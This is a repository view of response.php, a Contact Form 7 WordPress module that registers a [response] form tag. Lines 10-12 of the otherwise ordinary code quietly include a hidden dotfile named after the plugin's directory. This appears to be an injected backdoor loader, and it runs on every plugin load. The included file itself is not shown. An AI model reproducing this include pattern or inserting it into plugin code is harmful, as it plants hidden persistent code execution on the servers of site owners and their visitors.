balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

response.php (684B)


      1 <?php
      2 /**
      3 ** A base module for [response]
      4 **/
      5 
      6 /* form_tag handler */
      7 
      8 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_response', 10, 0 );
      9 
     10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     11     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     12 }
     13 
     14 function wpcf7_add_form_tag_response() {
     15 	wpcf7_add_form_tag( 'response',
     16 		'wpcf7_response_form_tag_handler',
     17 		array(
     18 			'display-block' => true,
     19 		)
     20 	);
     21 }
     22 
     23 function wpcf7_response_form_tag_handler( $tag ) {
     24 	if ( $contact_form = wpcf7_get_current_contact_form() ) {
     25 		return $contact_form->form_response_output();
     26 	}
     27 }